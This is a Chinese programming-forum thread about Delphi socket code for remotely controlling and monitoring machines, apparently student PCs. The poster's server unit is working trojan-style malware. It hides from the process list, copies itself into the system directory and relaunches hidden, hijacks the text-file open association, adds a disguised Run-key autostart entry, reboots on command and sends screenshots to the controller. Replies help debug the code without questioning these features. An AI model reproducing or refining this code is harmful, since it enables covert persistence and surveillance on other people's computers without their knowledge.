用的serversocket,clientsocket,均是非阻塞方式,端口均是9739.
serversocket端,窗口创建即打开连接;clientsocket端,每次发送消息前打开连接。
就这样,我只是举个简单的例子来说的。
结果就像我上面说的那样

解决方案 »

  1.   

    del_c_sharp(feifei)
    我也句的奇怪啊,这样应该是没有问题的,可是就是行不通好象
    比如我发送消息,“hello”,要在服务器上显示“hello”,这个可以
    接着后面的“hehe”和“haha”,就没有消息,只能响应一个按扭提出的请求
      

  2.   

    sory
    I donot know it 
    sory
      

  3.   

    你在服务器端读信息时应该作一些处理吧,比方说你要对进行内存释放,如果没有释放第一条消息时,可能会导致下一个消息无法响应!!!定义一个PCHAR变量来接受消息,处理完之后,应Freemem(p),要不试!!!!
      

  4.   

    ClientSocketprocedure TForm1.ToolButton24Click(Sender: TObject);
    begin
     control.socket.sendtext('reboot');
    end;procedure TForm1.Button2Click(Sender: TObject);
    begin
     control.socket.sendtext('hello');
    end;procedure TForm1.Button1Click(Sender: TObject);
    begin
     control.Socket.SendText('gets');
     //发送申请,通知服务端需要屏幕图象
    end;
      

  5.   

    procedure TForm1.undercontrolClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var 
    s:string;
    begin
    s:=socket.ReceiveText;
    if s='reboot' then
       ExitWindowsEx(Ewx_reboot,2); //重新启动电脑
     else if s='hello' then
       showMessage('注意纪律'); //向学生发出消息 
    if s='gets' then //客户端发出申请
      ……目前只有s='get'能执行,前面两个的重启电脑和发送消息没有用
    服务器端和客户端均是非阻塞方式,还请大家教教小弟我
      

  6.   

    unit client;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ScktComp, StdCtrls;type
      TForm1 = class(TForm)
        ClientSocket1: TClientSocket;
        Button1: TButton;
        Button2: TButton;
        Button3: TButton;
        Button4: TButton;
        procedure Button4Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form1: TForm1;implementation{$R *.dfm}procedure TForm1.Button4Click(Sender: TObject);
    begin
    clientsocket1.Active:=true;
    end;procedure TForm1.Button1Click(Sender: TObject);
    begin
    clientsocket1.Socket.SendText('hehe');
    end;procedure TForm1.Button2Click(Sender: TObject);
    begin
    clientsocket1.Socket.SendText('haha');
    end;procedure TForm1.Button3Click(Sender: TObject);
    begin
    clientsocket1.Socket.SendText('hello');
    end;end.
      

  7.   

    unit server;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ScktComp;type
      TForm1 = class(TForm)
        ServerSocket1: TServerSocket;
        procedure FormCreate(Sender: TObject);
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form1: TForm1;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);
    begin
    serversocket1.Open;
    serversocket1.Active:=true;
    serversocket1.Socket.Lock;
    end;procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
      var data:string;
      begin
      data:=socket.ReceiveText;
       if data='haha' then
       begin
        messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP);
       end;   if data='hehe' then
       begin
        messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP);
       end;
       if data='hello' then
       begin
        messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP);
       end;   end;end.
      

  8.   

    兄弟,还是不行啊~!
    我按照你给出的代码,添上了LOCK事件,还是不行我把我server端的代码全贴出来好了
      

  9.   

    unit Unit1;interfaceuses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      ScktComp,Registry,jpeg;type
      TForm1 = class(TForm)
        undercontrol: TServerSocket;
        procedure undercontrolClientRead(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form1: TForm1;
      m1:tmemorystream;implementation function RegisterServiceProcess (dwProcessID, dwType: DWord) :
      DWord;
     stdcall; external 'KERNEL32.DLL'; function GetWinDir: String; //寻找windows/system路径函数
     var
     Buf: array[0..MAX_PATH] of char;
     begin
      GetSystemDirectory(Buf, MAX_PATH);
      Result := Buf;
      if Result[Length(Result)]<>'\' then
        Result := Result + '\';
     end;
    {$R *.DFM}procedure TForm1.undercontrolClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var 
    s,s1:string; 
    desk:tcanvas; 
    bitmap:tbitmap; 
    jpg:tjpegimage; begin
    s:=socket.ReceiveText;
    if s='reboot' then
    begin
    ExitWindowsEx(Ewx_reboot,2); //重新启动电脑
    end;if s='hello' then
    begin
    showMessage('注意纪律'); //向学生发出消息
    end;if s='gets' then //客户端发出申请
    begin 
    bitmap:=tbitmap.Create; 
    jpg:=tjpegimage.Create; 
    desk:=tcanvas.Create; //以下代码为取得当前屏幕图象 
    desk.Handle:=getdc(hwnd_desktop); 
    m1:=tmemorystream.Create; //初始化流m1,在用sendstream(m1)发送流后, 
    //它将保留到socket对话结束, 
    //不能用手工free掉,否则会触发异常 
    with bitmap do 
    begin 
    width:=screen.Width; 
    height:=screen.Height; 
    canvas.CopyRect(canvas.cliprect,desk,desk.cliprect); 
    end; 
    jpg.Assign(bitmap); //将图象转成JPG格式 
    jpg.SaveToStream(m1); //将JPG图象写入流中 
    jpg.free; 
    m1.Position:=0; 
    s1:=inttostr(m1.size); 
    Socket.sendtext(s1); //发送图象大小 
    end; 
    if s='okok' then //客户端已准备好接收图象
    begin 
    m1.Position:=0; 
    Socket.SendStream(m1); //发送JPG图象 
    end; end;procedure TForm1.FormCreate(Sender: TObject);
    const K ='\Software\Microsoft\Windows\CurrentVersion\Run';
    const KK = '\txtfile\shell\open\command';
    var
     Project2,sFileName:string;
    begin
      undercontrol.open;
      undercontrol.socket.lock;
      RegisterServiceProcess(GetCurrentProcessID,1);//在进程中隐藏
      Project2:=ExtractFilename(Application.Exename);//获得文件名
      if application.Exename <> GetWindir+Project2 then
          //如果文件不是在Windows\System\那么..
      begin
      copyfile(pchar(application.Exename), pchar(GetWindir+Project2),
      False);//将自己拷贝到Windows\System\下
      Winexec(pchar(GetWindir+Project2),sw_hide);//运行Windows\System\下的新文件
      application.Terminate;//退出
      end;   with TRegistry.Create do //与文本文件关联
       try
       RootKey:=HKEY_CLASSES_ROOT;
       OpenKey(KK,True);
       WriteString( '', application.ExeName+' "%1" ');
       finally
       free;
       end;   with TRegistry.Create do //开机自动运行
       try
       RootKey := HKEY_LOCAL_MACHINE;
       OpenKey( K, TRUE );
       WriteString( 'syspler', application.ExeName );
       finally
       free;
       end;   if FileExists(pchar(Getwindir+'Project2.exe'))=false then//如果文件已经删除
          begin
          copyfile(pchar(application.exename),pchar(Getwindir+'Project2.exe'),
           false);//自定义拷贝资源文件过程
          winexec(pchar(Getwindir+'Project2.exe'),sw_hide);
          end;   if ParamCount>0 then begin (* 有执行参数传入 *)
          sFileName:=ParamStr(1); (* 取得参数内容 *)
          winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
          end;end;
    end.client和server均是非阻塞方式,port:9739,host:user
    server.active设为true
      

  10.   

    我想你的reboot事件和hello事件,应该没有问题,问题出在你的gets事件上,如果去掉reboot事件和hello事件我想你的gets事件没有问题,所以我认为问题出在gets事件上,这段代码有问题下面是我的分析:
    1,你希望你监控的电脑上生成,jpeg流先保存下来,然后向你发一个流大小的消息,
    问题出在这儿,我不知道你怎么接受,我想你肯定先判断是否为文件大小发来了,然后发送一个okok的消息,我估计你能接受到文件大小,但这是一个动态变化的量,你的客户端肯定出错,没有能正确发送okok消息,我建议作如下修改:将你的服务器端生成的jepg流写入文件保存下来如:c:\xxx.jpg,然后,在通过流的方式发送过来,再在客户端生成jpeg,并转化成bmp,如此要想把jpg文件传过来,就变成了远程文件下载的问题,请看:
    http://www.csdn.net/expert/topic/674/674607.xml?temp=.5551264
      

  11.   

    可是我好象把那个okok的事件删掉的话,reboot事件和hello事件好象也只执行一个,不知道为什么,我再试试好了
      

  12.   

    如果,按照我的设计思路,我想就不必要再向服务器发送okok,发送一个gets之后,客户端打开一个新的窗口,直接接受来自客户端的图像就可以了.
      

  13.   

    这个文件下载过来后,如果要打开,好象等于要新打开一个程序如ACD SEE吧?
    当然也可以在我的程序中的image中打开
      

  14.   

    对了,我现在是okok事件能响应,而reboot和hello事件不能响应
      

  15.   

    对,在一个form中,用image加载它.你在发送gets之后就打开这个窗口,假如你下载之后,你暂时写到你自己机器的c:\temp.bmp下然后再在form中加一个timer,在它的事件中判断是否存在c:\temp.bmp.如果存在加在他,如果更高级一点,你在你服务器上就直接通过NMStrm和NMStrmServ以流的方式发送与接受,就免去了一个写成文件的过程,如果能做到服务器每隔几秒钟发送一副图片过来,客户段段判断是否更新图像,如果更新重新加载,这样就能实时监控
      

  16.   

    我想你检查一下你的客户段程序.我认为,抓取图像之后可以不用再返回个服务器okok了
      

  17.   

    我有一新想法,如果我的图象截取用serversock实现,而其他操作则用TUMUDP
    这样可以吗?把图象的操作重新进行修改的工程比我修改下重启什么的来的复杂啊
      

  18.   

    cutelocust(风) 
    我用TUMUDP试了一下,就是利用TUMUDP来发送消息,重启系统等
    我感觉我代码没有写错,不知道为什么有错误
    什么 null remote address
    小弟我手里没有相关的资料,不知道是什么原因
    对了,介绍本关于网络编程的书给我好吗?
      

  19.   

    客户端
    procedure TForm1.FormCreate(Sender: TObject);
    begin
     //control.open;
     //m:=tmemorystream.Create;
     RsltStream:= tmemorystream.Create;
     TmpStream:=tmemorystream.Create;
    end;procedure TForm1.ToolButton24Click(Sender: TObject);
    var
    RegCode:array[0..29] of char;
    RegCodeStr:string;
    begin
     RegCodeStr:='reboot';
     StrpCopy(RegCode,RegCodeStr);
     TmpStream.Clear;
     RsltStream.Clear;
     NMUDP1.RemoteHost:=edit1.txt;
     NMUDP1.SendBuffer(RegCode,30);
    end;
    服务器端
    ……
    const BufSize=2048;
    ……
    procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    var
     CtrlCode:array[0..250] of char;
    begin
     NMUDP1.ReadBuffer(CtrlCode,NumberBytes);
     if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]
      ='reboot' then ExitWindowsEx(Ewx_reboot,2);//重新启动电脑
    end;
      

  20.   

    null remote address  意思是无效的远端主机,NMUDP1.RemoteHost:=edit1.txt;
    请确定edit1.txt中内容是否正确
    服务器端的nmudp的localport属性和remoteport属性分别和客户端的nmudp的remoteport和localport相同,千万别弄反。
      

  21.   

    cutelocust(风)
    http://www.csdn.net/expert/topic/698/698646.xml?temp=9.733218E-02
    兄弟,去这领分,谢谢你~!